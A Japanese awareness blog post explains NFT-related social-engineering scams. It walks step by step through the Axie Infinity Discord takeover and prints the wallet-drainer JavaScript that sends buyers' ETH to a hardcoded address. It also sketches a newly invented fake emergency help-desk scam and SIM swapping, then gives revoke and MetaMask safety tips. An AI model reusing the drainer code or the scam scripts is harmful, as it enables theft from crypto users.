【悪用厳禁】NFTプロジェクトを「ハッキング」する方法【注意喚起】

こんにちは、マナブです。
まずは、下記のツイートをご覧ください。

注意喚起として、記事で解説していきます。

記事のもくじ

  • 1.Axieのハッキング事例から、詐欺方法を学ぶ
  • 2.ソーシャルエンジニアリングとは【定番手法】
  • 3.詐欺方法を「マーケティング」に活かす思考

知識があれば、詐欺を見抜くことができます。
10分で読めます。これを機に、学んでみてください。

1.Axieのハッキング事例から、詐欺方法を学ぶ

まずは「Axie Infinity」の「詐欺事例」から学びます。

この方法は「再現性」が高いです

言うまでもなく、悪用厳禁です。情報ソースは「Axie Infinity to reimburse users who lost funds due to the hack」です。話をわかりやすくする為に、3名の登場人物を使います。

  • 犯人
  • 管理人A(※Axie InfinityのDiscordを管理する人)
  • 管理人B(※Axie InfinityのDiscordを管理する人)

上記のとおり。そして、犯行の手順は下記となります。

Axie Infinityの犯人の行動とは

  • 手順①:犯人が「Axie Infinity」の「Discord」に参加する
  • 手順②:犯人が「管理人Bは詐欺師である」と嘘の通報をする
  • 手順③:管理人Aが「管理人B」の「発言権利」を取り消す

この時点で、管理人Bは「濡れ衣」を着せられます。何もしていないのに、突然に「アクセス権利」を消されます。そして犯人が運営を装い、管理人Bに連絡をします。

犯人が「運営」に成りすまして、管理人Bに連絡する

  • 犯人(※運営に成りすまし)「アカウントを復活させるために、質問に答えてください」
  • 管理人B「わかりました。なんでも答えます。私は何もしていません。潔白です」

  • 犯人(※運営に成りすまし)「パスポートとDiscordの認証トークンを見せてください」
  • 管理人B「わかりました。こちらがデータとなります。ロック解除をお願いします」

このような方法で、管理人Bから情報を盗みます。なお、Discordには「認証トークン」という機能がありまして、その「トークン」を盗むことで、アカウントを乗っ取ることができます。

つまり、管理人Bは「認証トークン」を犯人に渡した時点で、アカウントを乗っ取られています。もうログインできません。その後に、犯人は「管理人B」に成りすましつつ、管理人Aに連絡します。

犯人が「管理人B」に成りすまして、管理人Aに連絡する

  • 犯人(※管理人Bに成りすまし)「私は潔白なので、IDの復活をお願いします」
  • 管理人A「パスポートとDiscordの認証トークンを見せてください」

  • 犯人(※管理人Bに成りすまし)「こちらがデータです。よろしくお願いします」
  • 管理人A「データに問題ないですね。アカウントを復活しますね」

上記のとおり。この時点で犯人は「管理人Bのアカウントの乗っ取り」に成功しました。この先は、とても簡単なフェーズです。

運営者として、偽のアナウンスをする

その後に犯人は、Discord内で下記アナウンスをします。

  • 「特別セールを開始します。下記よりNFTを購入できます」

そのリンクをクリックすると、犯人が作ったサイトに繋がります。そして「NFTの購入ボタン」を押すと、自分のお金が盗まれる訳です。なお、犯人が使ったコードは下記です。

function sendEth() {
     let givenNumber = document.querySelector ("#mintnumber").value;
     web3.eth.sendTransaction({
          from: web3.currentProvider.selectedAddress,
          to: '0x809771aB194355a5Cfa67ae1902c6359Db25FCaC',
          value: (web3.utils. towei (givenNumber,'ether')*0.1),
     });
}

こちら「Ethereumのプログラミング」を少しでも学んだ方なら、わりと誰でも書けるはず。言うまでもなく、コピペでも動きます。そして、下記をご覧ください。

  • from: web3.currentProvider.selectedAddress,
  • to: '0x809771aB194355a5Cfa67ae1902c6359Db25FCaC',
  • value: (web3.utils. towei (givenNumber,'ether')*0.1),

上記では「購入者のウォレットから、犯人のアドレスに対して、0.1ETHを送る」と記載されています。犯人に騙された人は、ここで自分のETHを失いました。

なお、今回は「0.1 ETHを送る」という方法でしたが、もっと危険な手法もあります。次の項目で解説します。

OpenSeaからNFTを盗む方法

先日に「OpenSeaでのフィッシング詐欺」が発生しました。ここで犯人は「数億円」のNFTを盗んだのですが、方法は下記のとおり。

簡単に解説すると、まず犯人は「偽のメール」を「OpenSeaの利用者」に送ります。そのメールには「アカウントをアップデートしてください」と記載されており、被害を受けた人は、そこでボタンを押してしまいました。

すると、どうなるか?
次の画像の「スマートコントラクト」が実行されます。

上記のコードには「stealNFTs」という機能が搭載されており、こちらが実行されると、自分のウォレットの「サイン(=鍵のデータ) 」が、犯人の「サーバー」に保存されます。すると犯人は、いつでも「あなたの財布」から「コインやNFT」を取り出せます。

注意喚起:ハッキングに時差がある話

OpenSeaのケースでは、下記の時間軸でした。

  • 犯人がスパムメールを送る
  • 約1ヶ月ほど時間を空ける
  • NFTの盗難事件が発生する

犯人がすぐに行動しなかった理由は、被害者のリストを増やす為です。OpenSeaをハッキングしたら、間違いなくニュースになります。ニュースになると、警戒する人が増えます。なので行動する際には、一気に行動して、一気に騙すほうがコスパ良いです。

ここから分かることは「犯人は、あなたの鍵を保存している可能性がある」ということです。なので、過去に一度でも「怪しいサイト」にウォレットを繋いだことがあるなら、かなり警戒すべきです。じゃあ、どうしたらいいか? 次で解説します。

リボークの重要性(※拡散希望)

皆さんは、メタマスクの「リボーク」を知っていますか?メタマスクで接続する際には、必ず「ウォレットの認証」がありますよね。その認証を取り消すことを、リボークと呼びます。

これには専用ツールがありまして、例えば「Revoke.cash」というサイトがあります。他にもあるので何でもOKですが、こういったツールに繋いでみて、怪しい認証がないかを確認してみてください。

実際にツールを使ってみる

revoke.cash ツールを使うと、上記の表示が出てきます。注目すべきは、下記の部分です。

  • Unlimited allowance to ○○

僕の場合は「0xA79...(=Curve.fi)」と「Uniswap」と「Polygon Bridge」に「Unlimited allowance (=無制限の費用)」を許可しています。

これらの3つは、僕は信頼しています。なので許可しています。このツールに繋いでみて、怪しげな名称があるなら、それは取り消すべきです。

ぜひ参考にしてみてください。もし良かったら「SNS拡散」や、もしくは友人に教えてあげてください。ここにトラップがあると、将来的にハッキングされる可能性があります。

ハッキング対策も解説します

リボークも大切ですが、そもそも「怪しいサイトに接続しないこと」が重要です。その上で、下記のツイートをご覧ください。

詳しくは「すべてのツイート」を読んで欲しいですが、要約すると「メタマスクの認証画面を、必ず確認しましょう」という内容です。特に下記の部分です。

metamask opensea

メタマスクで接続をするときに、こういった表示が出てきますよね。その際に、必ず「赤枠の部分」を確認してください。ここに怪しい文字が出ていたら、すぐに逃げるべきです。

というわけで、以上が「チャプター①」です。
後半では「その他のハッキング事例」を学んでいきます。

2.ソーシャルエンジニアリングとは【定番手法】

social-engineering

前半では「Axie Infinity」の「詐欺事例」を解説しました。こういった詐欺の方法を「ソーシャル・エンジニアリング」と呼びます。要するに、人間を騙しつつ、上手くハッキングをする手法です。

コードのバグ探しは大変ですが、人間のミスを誘導するのは簡単です。

今後のNFT市場では、色々な詐欺案件が出てくるはず。というわけで、知識は武器になるので、事前に学んでおきましょう。

手法①:NFTの配布キャンペーン

冒頭のツイートを、再度掲載させてください。

上記のとおり。今となっては、簡単だと分かりますよね。

Twitterで「NFT配布キャンペーン」をしつつ、詐欺サイトに誘導して、そこから「ウォレットの鍵」を盗めばOKです。

最近はNFTがバズっているので、知名度のないアカウントでもRTを増やせます。つまり悪い人からしたら、絶好のチャンスなんですよね。

過去には「CD-ROM」が配られていた

フィッシング詐欺の事例は、昔からあります。過去には「CD-ROMがトイレに置かれている」という事件があったみたいです。CD-ROMのラベルには「2012年:授業員の給料データ」というシールが貼られています。

こういったCDを見つけたら、皆さんはどうしますか? 興味が湧いて、パソコンに挿してしまうかもですよね。そうなったら、ウイルスに感染します。こういった方法が「定番のフィッシング詐欺」です。

補足:ハードウェアウォレットも要注意

上記のツイートのとおり。ハードウェアウォレットを買う場合も、必ず「公式ストア」から購入しましょう。そうじゃないと、かなり危険です。

手法②:ヘルプデスクを変更する

2つの手法です。お問い合わせ先を偽ることで、簡単に詐欺を実行できます。

例えばですが、どこかの会社に侵入します。その後に「社内報」の掲示板を探し、そこに「ヘルプデスク変更の件」という張り紙を出します。

  • 過去のヘルプデスク:help-desk@gmail.com
  • 新しいヘルプデスク:help-desk-new@gmail.com

例えばですが、上記の感じです。言うまでもなくですが、新しいヘルプデスクは「犯人」が管理しています。そこにお問い合わせが入ったら、社員を騙せますよね。こういった方法は、オンラインでも応用できます。

再現性が高そうな方法(悪用厳禁)

ただの思いつきですが、ちょっと書いてみます。

僕が悪者なら、人々の混乱を利用します。例えば「OpenSea」がハッキングされたときに、新規で「OpenSea - Help Desk」といった「Twitterアカウント」を作ります。もしくは、フォロワー数の多いアカウントを購入してもOKです。

その後に「OpenSeaがハッキングされたので、緊急のヘルプデスクを設置しました。お問い合わせはコチラからお願いします」といったツイートをします。

これにて完了です。
お問い合わせしてきた人の情報を抜けますよね。

さらに言うと、ここでお問い合わせしてくる人は、焦っている可能性が高いです。なぜなら、OpenSeaがハッキングされたからです。混乱に乗っかることで、詐欺の成功率が高まりそうですね。

こういった感じで、人間をハッキングすることが出来ます。次が最後です。3つ目の「ソーシャル・エンジニアリング手法」を見ていきましょう。

手法③:SIMスワップ詐欺(危険)

ぶっちゃけ、これが最も危険です。ぜひ理解してください。

SIMスワップ詐欺とは

要するに「ソーシャルエンジニアリング × SIMハック」という感じです。

特定の人に成りすましつつ、携帯会社に連絡します。そして「スマホを無くしてしまった」と話し、その後に「新しいSIMのアクティベート」を依頼します。詳しい方法は「ケース・バイ・ケース」なので記載しません。

しかし伝えたいことは、ここで携帯会社が騙されてしまうと、簡単に「あなたのSIMカード」が盗まれる可能性があります

SIMカードを盗まれたら、簡単に「パスワードリセット」や「二段階認証の突破」が出来ますよね。もしくはSNSアカウントが乗っ取られて、友人にも被害が及ぶ可能性があります。

ここは直接的に「NFT」や「クリプト」とは関係しませんが、とはいえ「取引所アカウントのハッキング」をされたら、たぶん萎える人が多いはず。

対策方法は「電話認証+二段階認証+メール認証」を設定することです。僕は「Binance」という取引所を使っていますが、3つの方法で認証しています。特に重要なアカウントは、3つ以上の方法で認証しましょう。

3.詐欺方法を「マーケティング」に活かす思考

hacking marketing

最後に「オマケ」のパートです。マーケティング理論です。

詐欺手法から、マーケ手法を学ぶ

ソーシャルエンジニアリングのWikipediaには、下記が書かれています。

Six key principles(6つの重要な原則)

  • Authority(権威性)
  • Intimidation(脅迫する)
  • Social proof(社会的証明)
  • Scarcity(限定性)
  • Urgency(緊急性)
  • Familiarity(親近感)

上記のとおり。これって、そのまま「マーケティング手法」にも使えるんですよね。なので解説してみます。最強の詐欺師は、最強のマーケターかもしれません。

原則どおりに、詐欺マーケを考えてみる

記事の前半で「Axie Infinity」の「詐欺事例」を解説しました。 この事例を応用しつつ、マーケティング設計を考えてみます。

  • Authority(権威性) → 公式からの発表
  • Intimidation(脅迫する) → 1回だけのイベント
  • Social proof(社会的証明) → NFT販売数の表示
  • Scarcity(限定性) → 数量を限定にする
  • Urgency(緊急性) → 10時間の限定販売
  • Familiarity(親近感)→ 他の人も買っている

上記の設定です。下記にて、詳しく解説します。

まず犯人は「公式のDiscordアカウント」を乗っ取ります。そして「公式からの発表」として、10時間限定キャンペーンを公開します。キャンペーン内容は「限定NFTを購入することができて、数量は”100個”のみ」という内容です。

さらに販売ページには、販売済みの「NFTの数」が表示されており、残りの数はどんどん減っていきます。さらに公式のDiscordには、大量のサクラを呼び込んでおきます。そのサクラ達は「自分は限定NFTを獲得できた」と書き込んでおり、これが「安心感」に繋がります。

以上のストーリーには、6つの重要な原則を盛り込みました。どうでしょうか。こういった方法だと、普通に再現性がありそうです。

最後にお願い:被害者を減らす為に

今回は「色々なハッキング事例」のフォーカスして記事を書きました。怖い内容だったかもですが、大切な知識です。僕がこういった記事を書く理由は、業界を良くする為です。

  • 残念なことに、世の中には悪い人がいます
  • NFTマーケットの中にも、悪い人がいます
  • そういった人が日々、詐欺を実行しています

では、どうやったら解決できるのか?
結論は「知識武装するしかない」と思います。

この記事を読んで、一部の人は「こんなことを書いたら、、真似する人が出てきて、被害は増えるのでは、、?」と考えたかもです。 しかし現実は逆のはず。

こういった方法を公開することで、被害を事前に防げます。また、ググれば出てくる情報でもあるので、本気で詐欺をしたい人はググっているはず。

今回の記事は「新しいテクノロジーに興味あるけど、しかしセキュリティ面も知っておきたい」という方向けに書きました。特に「メタマスクのリボーク」などは、わりと業界に詳しい人でも、あまり理解していなかったりします。

もしよかったら、記事拡散いただけたら嬉しいです。もしくは、友人に教えてあげてください。知識を増やすことで、間違いなく防御力を高めることができます。

以上となります。
読んでいただきまして、ありがとうございます。


※PS: ブログは「週1回」のペースで更新します。更新通知は「Twitter」と「メルマガ」でお知らせします🙋‍♂️